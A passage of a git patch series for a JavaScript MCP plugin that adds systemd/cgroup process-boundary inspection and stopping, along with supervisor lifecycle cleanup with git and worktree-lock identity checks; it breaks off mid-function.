`RUN_SCHEDULER_VERSION`, + `RUN_SCHEDULER_METHODS`, `RUN_SCHEDULER_CHECKS`, + `RUN_SCHEDULER_ERROR_CODES`, `RUN_SCHEDULER_SIDE_EFFECTS` + +Errors are typed `RunContractV1Error` values with content-free +diagnostics. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| 3.2.1 delegate / inspect / cancel | injected functions | called with exact run/assignment/task identity | +| P02 run/assignment identity and disjoint scopes | `run-manifest.mjs` | id grammar, SHA, writer-scope overlap | +| P03 canonical JSON | `identity.mjs` | submission digest | +| P24/P25/P34/runtime/artifact/lifecycle | later P33 runtime | not imported | +| Candidate composition | P35 | not imported | +| Server / supervisor cutover | R-CUTOVER | not imported | + +## Non-goals + +No durable journal or store. No workspace, branch, or ref creation. No +artifact capture. No lifecycle `/proc` or WTB lock inspection. No mailbox +delivery. No candidate ref. No MCP tool, supervisor cutover, CHANGELOG or +future-work edit, version bump, Gate A, release, merge, rebase, push, PR, +tag, or remote mutation. + +## Testing + +``` +node --no-warnings --test test/r1-run-scheduler.test.mjs \ + test/r1-run-scheduler-adversarial.test.mjs +``` From c4613b5cd4fdc292651ec3f5c05d5a43ebb6a8ba Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:35:31 +0000 Subject: [PATCH 123/151] feat(boundary): add tri-state exact systemd/cgroup finality Inspect owned units as inactive_empty, active, or unknown. Exact stop uses systemctl --user stop and refuses identity mismatch or incomplete PID visibility. --- .../mcp/v3/process-boundary.mjs | 511 ++++++++++++++++++ 1 file changed, 511 insertions(+) diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 3714f6c..97c7775 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -42,6 +42,12 @@ export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ stopTimeoutMs: 5_000, pollMs: 25, }); +export const PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS = Object.freeze({ + natural_boundary_and_lock_drain: 2_000, + exact_unit_stop_and_empty_proof: 5_000, + cgroup_poll_interval: 25, +}); +export const PROCESS_BOUNDARY_STATES = Object.freeze(['inactive_empty', 'active', 'unknown']); const SYSTEMD_RUN = '/usr/bin/systemd-run'; const SYSTEMCTL = '/usr/bin/systemctl'; @@ -564,3 +570,508 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro child.kill?.('SIGTERM'); fail('unit_verification_failed', 'The transient service could not be verified before its launch deadline.'); } + +const ACTIVE_UNIT_STATES = new Set(['active', 'activating', 'deactivating']); +const INACTIVE_UNIT_STATES = new Set(['inactive', 'failed']); + +function freezeBoundaryInspection(inspection) { + return Object.freeze({ + state: inspection.state, + found: inspection.found === true, + empty: inspection.empty ?? null, + active_state: inspection.active_state ?? null, + main_pid: inspection.main_pid ?? null, + populated: inspection.populated ?? null, + members: Object.freeze([...(inspection.members ?? [])]), + identity_matched: inspection.identity_matched === true, + visibility: inspection.visibility ?? 'unknown', + stop_allowed: inspection.stop_allowed === true, + code: inspection.code ?? null, + receipt: inspection.receipt, + }); +} + +function parsePopulated(events) { + const matches = [...String(events ?? '').matchAll(/^populated\s+(\d+)\s*$/gmu)]; + if (matches.length !== 1) return { ok: false, populated: null }; + const value = Number(matches[0][1]); + if (value !== 0 && value !== 1) return { ok: false, populated: null }; + return { ok: true, populated: value === 1 }; +} + +function parseProcStat(text) { + const raw = String(text ?? ''); + const close = raw.lastIndexOf(')'); + if (close < 0) return null; + const fields = raw.slice(close + 2).trim().split(/\s+/u); + const ppid = Number(fields[1]); + const startTicks = fields[19]; + if (!Number.isInteger(ppid) || ppid < 0 || !startTicks) return null; + return { ppid, start_ticks: startTicks }; +} + +function parseProcCgroup(text) { + const match = /^0::(\/.*)$/mu.exec(String(text ?? '')); + return match ? match[1] : null; +} + +function parseCgroupProcs(text) { + const pids = []; + for (const line of String(text ?? '').split(/\r?\n/u)) { + const trimmed = line.trim(); + if (!trimmed) continue; + if (!/^[0-9]+$/u.test(trimmed)) return null; + const pid = Number(trimmed); + if (!Number.isSafeInteger(pid) || pid < 1) return null; + pids.push(pid); + } + return pids; +} + +function omittedIdentityProperties(properties, { requireControlGroup }) { + if (!properties || typeof properties !== 'object') return true; + for (const key of ['Id', 'Description', 'LoadState', 'ActiveState', 'KillMode', 'InvocationID']) { + if (typeof properties[key] !== 'string' || properties[key].length === 0) return true; + } + if (requireControlGroup && (typeof properties.ControlGroup !== 'string' || properties.ControlGroup.length === 0)) { + return true; + } + return false; +} + +function generationMatches(receipt, properties, { requireControlGroup }) { + if (properties.Id !== receipt.unit) return false; + if (properties.Description !== receipt.description) return false; + if (properties.InvocationID !== receipt.invocation_id) return false; + if (properties.KillMode !== 'control-group') return false; + if (requireControlGroup && properties.ControlGroup !== receipt.control_group) return false; + if (!requireControlGroup && properties.ControlGroup && properties.ControlGroup !== receipt.control_group) return false; + return true; +} + +async function inspectCgroupPath(host, controlGroup) { + const eventsPath = `${CGROUP_ROOT}${controlGroup}/cgroup.events`; + const procsPath = `${CGROUP_ROOT}${controlGroup}/cgroup.procs`; + let events; + try { + events = await host.readFile(eventsPath); + } catch (error) { + if (error?.code === 'ENOENT') return { present: false, populated: false, members: [], visibility: 'complete' }; + return { present: true, populated: null, members: null, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + const parsed = parsePopulated(events); + if (!parsed.ok) { + return { present: true, populated: null, members: null, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + let procsText; + try { + procsText = await host.readFile(procsPath); + } catch (error) { + if (error?.code === 'ENOENT') { + return parsed.populated + ? { present: true, populated: true, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' } + : { present: false, populated: false, members: [], visibility: 'complete' }; + } + return { present: true, populated: parsed.populated, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + const members = parseCgroupProcs(procsText); + if (members == null) { + return { present: true, populated: parsed.populated, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + if (parsed.populated && members.length === 0) { + return { present: true, populated: true, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + if (!parsed.populated && members.length > 0) { + return { present: true, populated: null, members, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + return { present: true, populated: parsed.populated, members, visibility: 'complete' }; +} + +async function inspectProcMember(host, pid, controlGroup) { + try { + const [statText, cgroupText] = await Promise.all([ + host.readFile(`/proc/${pid}/stat`), + host.readFile(`/proc/${pid}/cgroup`), + ]); + const parsed = parseProcStat(statText); + const cgroup = parseProcCgroup(cgroupText); + if (!parsed || !cgroup) { + return { pid, visible: false, unknown: true, code: 'worker_boundary_pid_visibility_unknown' }; + } + if (cgroup !== controlGroup) { + return { pid, visible: true, unknown: false, identity_mismatch: true, start_ticks: parsed.start_ticks, ppid: parsed.ppid, cgroup }; + } + return { pid, visible: true, unknown: false, start_ticks: parsed.start_ticks, ppid: parsed.ppid, cgroup }; + } catch (error) { + if (error?.code === 'ENOENT' || error?.code === 'ESRCH') { + return { pid, visible: false, missing: true }; + } + return { pid, visible: false, unknown: true, code: 'worker_boundary_pid_visibility_unknown' }; + } +} + +function leaderFromRuntime(expectedLeader) { + if (!expectedLeader || typeof expectedLeader !== 'object' || Array.isArray(expectedLeader)) return null; + const pid = Number(expectedLeader.pid); + const ticks = expectedLeader.process_start_ticks; + if (!Number.isSafeInteger(pid) || pid < 2 || typeof ticks !== 'string' || ticks.length === 0) return null; + return { pid, process_start_ticks: ticks }; +} + +function membersRootedInLeader(members, leaderPid) { + const byPid = new Map(members.map((member) => [member.pid, member])); + for (const member of members) { + if (member.pid === leaderPid) continue; + const seen = new Set(); + let current = member; + let rooted = false; + while (current && !seen.has(current.pid)) { + seen.add(current.pid); + if (current.pid === leaderPid) { + rooted = true; + break; + } + const parent = byPid.get(current.ppid); + if (!parent) { + // Reparented descendants remain task-owned when they still sit in the + // exact cgroup; they are not proof of a foreign identity. + rooted = true; + break; + } + current = parent; + } + if (!rooted) return false; + } + return true; +} + +export async function inspectExactProcessBoundary(receipt, { adapter, expectedLeader } = {}) { + const host = requireAdapter(adapter); + let normalized; + try { + requireLinux(host); + const legacyScope = receipt?.boundary === 'systemd-user-scope-cgroup'; + normalized = receiptFromRecord(receipt, legacyScope ? 'systemd-user-scope-cgroup' : 'systemd-user-service-cgroup'); + } catch (error) { + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: error?.code === 'linux_required' || error?.code === 'posix_uid_required' + ? 'worker_boundary_inspect_failed' + : (error?.code ?? 'invalid_receipt'), + receipt, + }); + } + + let shown; + try { + shown = await showUnit(host, normalized.unit); + } catch { + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const cgroup = await inspectCgroupPath(host, normalized.control_group); + if (cgroup.visibility === 'unknown') { + return freezeBoundaryInspection({ + state: 'unknown', + found: shown.found, + empty: null, + active_state: shown.properties?.ActiveState ?? null, + populated: cgroup.populated, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: cgroup.code ?? 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + if (!shown.found) { + if (!cgroup.present && cgroup.populated === false) { + return freezeBoundaryInspection({ + state: 'inactive_empty', + found: false, + empty: true, + populated: false, + members: [], + identity_matched: true, + visibility: 'complete', + stop_allowed: false, + receipt: normalized, + }); + } + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + empty: false, + populated: cgroup.populated, + members: cgroup.members ?? [], + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const activeState = shown.properties.ActiveState; + const live = ACTIVE_UNIT_STATES.has(activeState); + const idle = INACTIVE_UNIT_STATES.has(activeState); + if (!live && !idle) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + active_state: activeState, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + if (omittedIdentityProperties(shown.properties, { requireControlGroup: live })) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + active_state: activeState, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + if (!generationMatches(normalized, shown.properties, { requireControlGroup: live })) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + active_state: activeState, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + + if (idle) { + if (cgroup.present && cgroup.populated) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + populated: true, + identity_matched: true, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_not_empty', + receipt: normalized, + }); + } + return freezeBoundaryInspection({ + state: 'inactive_empty', + found: true, + empty: true, + active_state: activeState, + main_pid: Number(shown.properties.MainPID) || 0, + populated: false, + members: [], + identity_matched: true, + visibility: 'complete', + stop_allowed: false, + receipt: normalized, + }); + } + + if (!cgroup.populated) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: true, + active_state: activeState, + populated: false, + identity_matched: true, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const leader = leaderFromRuntime(expectedLeader); + const mainPid = Number(shown.properties.MainPID); + if (!leader || !Number.isSafeInteger(mainPid) || mainPid < 2 || mainPid !== leader.pid) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: Number.isSafeInteger(mainPid) ? mainPid : null, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: leader && Number.isSafeInteger(mainPid) && mainPid >= 2 && mainPid !== leader.pid + ? 'worker_boundary_identity_mismatch' + : 'worker_boundary_pid_visibility_unknown', + receipt: normalized, + }); + } + if (!Array.isArray(cgroup.members) || !cgroup.members.includes(leader.pid)) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_membership_unknown', + receipt: normalized, + }); + } + + const inspectedMembers = []; + for (const pid of cgroup.members) { + const member = await inspectProcMember(host, pid, normalized.control_group); + if (member.unknown || member.missing) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: member.code ?? 'worker_boundary_pid_visibility_unknown', + receipt: normalized, + }); + } + if (member.identity_mismatch) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + inspectedMembers.push(member); + } + + const leaderMember = inspectedMembers.find((member) => member.pid === leader.pid); + if (!leaderMember || leaderMember.start_ticks !== leader.process_start_ticks) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + if (!membersRootedInLeader(inspectedMembers, leader.pid)) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + + return freezeBoundaryInspection({ + state: 'active', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: true, + visibility: 'complete', + stop_allowed: true, + receipt: normalized, + }); +} + +export async function stopExactProcessBoundary(receipt, { + adapter, + expectedLeader, + timeoutMs = PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.exact_unit_stop_and_empty_proof, +} = {}) { + if (!Number.isSafeInteger(timeoutMs) || timeoutMs < 100) fail('invalid_timeout', 'timeoutMs must be at least 100ms.'); + const host = requireAdapter(adapter); + const initial = await inspectExactProcessBoundary(receipt, { adapter: host, expectedLeader }); + if (initial.state === 'inactive_empty') { + return Object.freeze({ + stopped: true, + cgroup_empty: true, + state: 'inactive_empty', + forced: false, + idempotent: true, + }); + } + if (initial.state !== 'active' || initial.stop_allowed !== true) { + fail(initial.code ?? 'worker_boundary_inspect_failed', 'Exact process-boundary stop is refused without complete task-owned identity.'); + } + await systemctlAction(host, ['--user', 'stop', initial.receipt.unit], timeoutMs); + const deadline = Date.now() + timeoutMs; + let latest = initial; + while (Date.now() < deadline) { + latest = await inspectExactProcessBoundary(initial.receipt, { adapter: host, expectedLeader }); + if (latest.state === 'inactive_empty') { + return Object.freeze({ + stopped: true, + cgroup_empty: true, + state: 'inactive_empty', + forced: false, + idempotent: false, + }); + } + if (latest.state !== 'active' && latest.state !== 'inactive_empty') { + fail(latest.code ?? 'worker_boundary_inspect_failed', 'Exact process-boundary stop lost identity or visibility before empty proof.'); + } + await host.sleep(PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.cgroup_poll_interval); + } + fail('cgroup_not_empty', 'Owned systemd process boundary still has descendants after exact unit stop.'); +} From ce3247e884cb1e9f39b43cb934d47394ad5231ca Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:35:31 +0000 Subject: [PATCH 124/151] feat(supervisor): settle local lifecycle before R-TRUTH projection Export settleLocalTaskLifecycle and cleanupLocalTaskLifecycle. Gate public terminal projection on exact boundary finality, recover only identity-bound units, and keep stored task.v1 status immutable. --- .../codex-co-engineer/mcp/v3/supervisor.mjs | 676 +++++++++++++++++- 1 file changed, 638 insertions(+), 38 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index cde9e54..4397310 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -14,6 +14,7 @@ import { import { ACTIVE_STATUSES, + STORED_TERMINAL, VERSION, mcpPendingCallReport, providerCapabilities, @@ -52,10 +53,12 @@ import { reconcileCursorCloudTask, } from './cursor-cloud-worker.mjs'; import { - inspectProcessBoundary, + inspectExactProcessBoundary, launchProcessBoundary, probeProcessBoundary, + PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS, restoreProcessBoundary, + stopExactProcessBoundary, stopProcessBoundary, } from './process-boundary.mjs'; @@ -101,6 +104,26 @@ const PUBLIC_STARTUP_MESSAGES = Object.freeze({ workspace_dirty: 'The source worktree has uncommitted changes; clean it before managed delegation.', worktree_create_failed: 'The managed worktree could not be prepared.', worker_boundary_uncertain: 'The worker boundary could not be stopped; reconcile or cancel this task.', + worker_boundary_pending: 'The worker process boundary is not yet final.', + worker_boundary_missing: 'The worker process boundary receipt is missing.', + worker_boundary_inspect_failed: 'The worker process boundary could not be inspected.', + worker_boundary_identity_mismatch: 'The worker process boundary identity did not match this task.', + worker_boundary_pid_visibility_unknown: 'The worker process boundary process visibility is unknown.', + worker_boundary_membership_unknown: 'The worker process boundary membership is unknown.', + worker_boundary_stop_failed: 'The worker process boundary could not be stopped.', + worker_boundary_not_empty: 'The worker process boundary still has descendants.', + worktree_lock_inspect_failed: 'The worktree lock could not be inspected.', + worktree_lock_identity_mismatch: 'The worktree lock identity did not match this task.', + worktree_lock_liveness_unknown: 'The worktree lock liveness could not be proven.', + worktree_lock_cleanup_failed: 'The worktree lock could not be cleaned.', + worktree_git_changed_during_recovery: 'The worktree Git identity changed during recovery.', + boundary_visibility_unknown: 'The worker process boundary could not be proven idle or empty.', + boundary_identity_mismatch: 'The worker process boundary identity did not match this task.', + boundary_not_empty: 'The worker process boundary still has descendants.', + lock_release_unproven: 'The worktree lock release could not be proven.', + lock_cleanup_refused: 'The worktree lock cleanup was refused.', + cleanup_failed: 'Task lifecycle cleanup failed.', + cgroup_not_empty: 'Owned systemd process boundary still has descendants after exact unit stop.', cancelled: 'The task was cancelled before worker startup.', provider_startup_failed: 'Provider startup could not be prepared.', task_launch_busy: 'Another worker already owns this task launch.', @@ -471,27 +494,54 @@ export async function cleanupManagedWorkspace({ workspace, taskId, execute = exe ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); return { state: 'cleaned', cleaned: true, lock_id: lock.lock_id }; } catch (error) { + const exitCode = Number.isInteger(error?.status) ? error.status : (Number.isInteger(error?.code) ? error.code : undefined); return { state: 'cleanup_failed', cleaned: false, - error: { code: error?.code ?? 'worktree_cleanup_failed', message: error?.message ?? 'Worktree lock cleanup failed.' }, + exit_code: exitCode, + error: { + code: typeof error?.code === 'string' ? error.code : 'worktree_cleanup_failed', + message: 'Worktree lock cleanup failed.', + }, }; } } -async function recordManagedCleanup(root, task, execute) { +function cleanupEventFields(result) { + const exitCode = Number.isInteger(result?.exit_code) ? result.exit_code : undefined; + let code; + if (result?.error?.code) code = result.error.code; + else if (result?.cleaned) code = null; + else if (result?.state === 'unlocked') code = null; + else code = 'lock_cleanup_refused'; + return { + type: result?.error ? 'cleanup_warning' : 'cleanup', + code, + cleaned: result?.cleaned === true, + ...(exitCode !== undefined ? { exit_code_class: `exit_${exitCode}` } : {}), + }; +} + +async function recordManagedCleanup(root, task, execute, options = {}) { if (task?.workspace_kind !== 'managed-worktree') return null; + if (options.requireInactiveEmpty && options.boundaryState !== 'inactive_empty') { + const result = { + state: options.boundaryState ?? 'unknown', + cleaned: false, + error: { + code: 'worktree_lock_liveness_unknown', + message: 'Worktree lock cleanup requires exact inactive empty boundary proof.', + }, + }; + await appendTaskEvent(root, task.id, cleanupEventFields(result)).catch(() => {}); + return result; + } const result = await cleanupManagedWorkspace({ workspace: task, taskId: task.worktree_task ?? task.id, execute, }); - if (result.error) { - await appendTaskEvent(root, task.id, { - type: 'cleanup_warning', - code: result.error.code, - }).catch(() => {}); - } + await appendTaskEvent(root, task.id, cleanupEventFields(result)).catch(() => {}); return result; } @@ -796,23 +846,35 @@ function currentProcessIdentity(runtime) { return processIdentity(runtime?.pid, runtime?.process_group, runtime?.process_start_ticks); } -function runtimeLeaderAlive(runtime) { - return Number.isInteger(runtime?.pid) - && runtime.pid >= 2 - && typeof runtime.process_start_ticks === 'string' - && processStartTicks(runtime.pid) === runtime.process_start_ticks; +function expectedLeaderFromRuntime(runtime) { + const pid = Number(runtime?.pid); + if (!Number.isSafeInteger(pid) || pid < 2) return null; + if (typeof runtime.process_start_ticks !== 'string' || runtime.process_start_ticks.length === 0) return null; + return { pid, process_start_ticks: runtime.process_start_ticks }; +} + +async function inspectRuntimeBoundary(runtime, dependencies = {}) { + if (!runtime?.process_boundary) return null; + const inspect = dependencies.inspectBoundary ?? inspectExactProcessBoundary; + try { + return await inspect(runtime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(runtime), + }); + } catch { + return Object.freeze({ + state: 'unknown', + stop_allowed: false, + identity_matched: false, + code: 'worker_boundary_inspect_failed', + }); + } } -async function runtimeActive(runtime) { +async function runtimeActive(runtime, dependencies = {}) { if (runtime?.process_boundary) { - if (!runtimeLeaderAlive(runtime)) return false; - try { - const handle = restoreProcessBoundary(runtime.process_boundary); - const state = await inspectProcessBoundary(handle); - return state.found && !state.empty; - } catch { - return false; - } + const inspection = await inspectRuntimeBoundary(runtime, dependencies); + return inspection?.state === 'active'; } return Boolean(currentProcessIdentity(runtime)); } @@ -845,8 +907,484 @@ export async function extendTaskDeadline(root, taskId, { expected_duration_ms, r return next; } -async function reconcileInactiveTask(root, task, runtime) { - if (!ACTIVE.has(task.status) || launchReservationActive(task) || await runtimeActive(runtime)) return task; +export const LOCAL_TASK_LIFECYCLE_VERSION = 1; +const CLEANUP_FINAL = new Set(['normal', 'recovered']); +const PUBLIC_LIFECYCLE_CODE = Object.freeze({ + worker_boundary_pid_visibility_unknown: 'boundary_visibility_unknown', + worker_boundary_membership_unknown: 'boundary_visibility_unknown', + worker_boundary_inspect_failed: 'boundary_visibility_unknown', + worker_boundary_identity_mismatch: 'boundary_identity_mismatch', + worker_boundary_not_empty: 'boundary_not_empty', + worker_boundary_stop_failed: 'boundary_not_empty', + cgroup_not_empty: 'boundary_not_empty', + worktree_lock_liveness_unknown: 'lock_release_unproven', + worktree_lock_identity_mismatch: 'lock_cleanup_refused', + worktree_lock_cleanup_failed: 'lock_cleanup_refused', + worktree_lock_inspect_failed: 'lock_cleanup_refused', +}); + +function publicLifecycleCode(code) { + if (typeof code !== 'string' || code.length === 0) return 'worker_boundary_pending'; + return PUBLIC_LIFECYCLE_CODE[code] ?? (PUBLIC_STARTUP_MESSAGES[code] ? code : 'cleanup_failed'); +} + +function lifecycleBlocksFinalProjection(task) { + let status; + let cleanup; + try { + status = task?.status; + cleanup = task?.cleanup; + } catch { + return false; + } + if (!STORED_TERMINAL.includes(status)) return false; + if (!cleanup || typeof cleanup !== 'object' || Array.isArray(cleanup)) return false; + return !CLEANUP_FINAL.has(cleanup.status); +} + +function freezeLocalTaskLifecycle(values) { + return Object.freeze({ + version: LOCAL_TASK_LIFECYCLE_VERSION, + task_id: values.task_id, + stored_status: values.stored_status ?? null, + projected_status: values.projected_status ?? null, + public_state: values.public_state ?? publicState(values.projected_status ?? undefined), + final: values.final === true, + cleanup: values.cleanup, + boundary: values.boundary, + lock: values.lock, + reason: values.reason ?? null, + }); +} + +function localTaskLifecycleFrom(task, fields) { + const overlay = fields.cleanupRecord ? { ...task, cleanup: fields.cleanupRecord } : task; + const classified = classifySupervisorTerminalReceipt(overlay); + return freezeLocalTaskLifecycle({ + task_id: task.id, + stored_status: task.status, + projected_status: classified.projected_status, + public_state: classified.public_state, + final: fields.final === true, + cleanup: fields.cleanup, + boundary: fields.boundary, + lock: fields.lock, + reason: fields.reason ?? classified.reason ?? null, + }); +} + +async function persistLifecycleEvidence(root, task, cleanup, extra = {}) { + const next = await updateTask(root, task.id, { cleanup }); + await appendTaskEvent(root, task.id, { + type: 'cleanup', + status: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + code: cleanup.code ?? null, + ...(extra.forced ? { forced: true } : {}), + ...(extra.exit_code_class ? { exit_code_class: extra.exit_code_class } : {}), + }).catch(() => {}); + if (extra.runtime) { + await writeRuntimeRecord(root, task.id, { + ...extra.runtime, + lifecycle_proof: { + status: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + code: cleanup.code ?? null, + recovered: extra.recovered === true, + git: extra.git ?? null, + }, + }).catch(() => {}); + } + return next; +} + +function gitIdentity(outputs) { + return Object.freeze({ + head: String(outputs.head ?? '').trim(), + tree: String(outputs.tree ?? '').trim(), + branch: String(outputs.branch ?? '').trim(), + clean: String(outputs.porcelain ?? '').trim() === '', + }); +} + +async function snapshotTaskGit(task, dependencies = {}) { + const cwd = task?.cwd; + if (typeof cwd !== 'string' || !path.isAbsolute(cwd)) return null; + if (typeof dependencies.snapshotGit === 'function') return dependencies.snapshotGit(task); + const execute = dependencies.execute ?? execFile; + try { + const [head, tree, branch, status] = await Promise.all([ + execute('git', ['-C', cwd, 'rev-parse', 'HEAD'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'rev-parse', 'HEAD^{tree}'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'branch', '--show-current'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'status', '--porcelain=v1'], { encoding: 'utf8' }), + ]); + return gitIdentity({ + head: head.stdout, + tree: tree.stdout, + branch: branch.stdout, + porcelain: status.stdout, + }); + } catch { + return null; + } +} + +function sameGitIdentity(before, after) { + return Boolean(before && after + && before.head === after.head + && before.tree === after.tree + && before.branch === after.branch + && before.clean === after.clean); +} + +async function snapshotUnrelatedUnits(receipt, dependencies = {}) { + if (typeof dependencies.snapshotUnits === 'function') return dependencies.snapshotUnits(receipt); + const exec = dependencies.adapter?.execFile ?? (dependencies.execute + ? (command, args, options) => dependencies.execute(command, args, options) + : null); + if (typeof exec !== 'function') return null; + try { + const listed = await exec('/usr/bin/systemctl', [ + '--user', 'list-units', '--all', '--no-legend', '--plain', '--no-pager', 'codex-co-engineer-*.service', + ], { encoding: 'utf8', timeout: 3_000, maxBuffer: 64 * 1024 }); + const units = Object.create(null); + for (const line of String(listed?.stdout ?? '').split(/\r?\n/u)) { + const unit = line.trim().split(/\s+/u)[0]; + if (!unit || unit === receipt.unit || !/^codex-co-engineer-[a-f0-9]{32}\.service$/u.test(unit)) continue; + const shown = await exec('/usr/bin/systemctl', [ + '--user', 'show', unit, '--no-pager', '--property=Id', '--property=ActiveState', + '--property=InvocationID', '--property=MainPID', + ], { encoding: 'utf8', timeout: 3_000, maxBuffer: 16 * 1024 }); + const properties = Object.create(null); + for (const row of String(shown?.stdout ?? '').split(/\r?\n/u)) { + const separator = row.indexOf('='); + if (separator > 0) properties[row.slice(0, separator)] = row.slice(separator + 1); + } + units[unit] = Object.freeze({ + ActiveState: properties.ActiveState ?? null, + InvocationID: properties.InvocationID ?? null, + MainPID: properties.MainPID ?? null, + }); + } + return Object.freeze(units); + } catch { + return null; + } +} + +function sameUnrelatedUnits(before, after) { + if (!before || !after) return false; + const keys = new Set([...Object.keys(before), ...Object.keys(after)]); + for (const key of keys) { + const left = before[key]; + const right = after[key]; + if (!left || !right) return false; + if (left.ActiveState !== right.ActiveState || left.InvocationID !== right.InvocationID || left.MainPID !== right.MainPID) { + return false; + } + } + return true; +} + +function lockIdentityMatches(lock, task, runtime) { + const taskId = task.worktree_task ?? task.id; + if (!lock || typeof lock !== 'object' || Array.isArray(lock)) return false; + if (typeof lock.lock_id !== 'string' || lock.lock_id.length === 0) return false; + if (lock.task != null && lock.task !== taskId) return false; + if (lock.schema != null && lock.schema !== 'worktree-bootstrap/v1') return false; + const worktree = task.cwd ?? task.worktree_path; + if (lock.worktree_path && worktree && path.resolve(String(lock.worktree_path)) !== path.resolve(worktree)) return false; + if (lock.branch && task.branch && lock.branch !== task.branch) return false; + if (lock.start_sha && task.start_sha && String(lock.start_sha).toLowerCase() !== String(task.start_sha).toLowerCase()) return false; + const wrapperPid = lock.wrapper_pid ?? lock.writer_pid; + if (runtime?.pid != null && wrapperPid != null && Number(wrapperPid) !== Number(runtime.pid)) return false; + if (runtime?.process_start_ticks && lock.process_start_ticks + && String(lock.process_start_ticks) !== String(runtime.process_start_ticks)) return false; + if (runtime?.command && Array.isArray(lock.command) && lock.command[0] && lock.command[0] !== runtime.command) return false; + return true; +} + +async function inspectManagedLockState(task, runtime, dependencies = {}) { + if (task.workspace_kind !== 'managed-worktree') { + return { lock: 'not_applicable', cleaned: false }; + } + const reference = workspaceReference(task, task.worktree_task ?? task.id); + if (!reference) return { lock: 'unknown', code: 'worktree_lock_inspect_failed', cleaned: false }; + const execute = dependencies.execute ?? execFile; + try { + const { stdout } = await execute('worktree-bootstrap', [ + 'lock', 'inspect', reference.task, '--repo', reference.worktree_path, + ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); + const lock = parseJsonSuffix(stdout); + if (!lock || typeof lock !== 'object' || Array.isArray(lock)) { + return { lock: 'unknown', code: 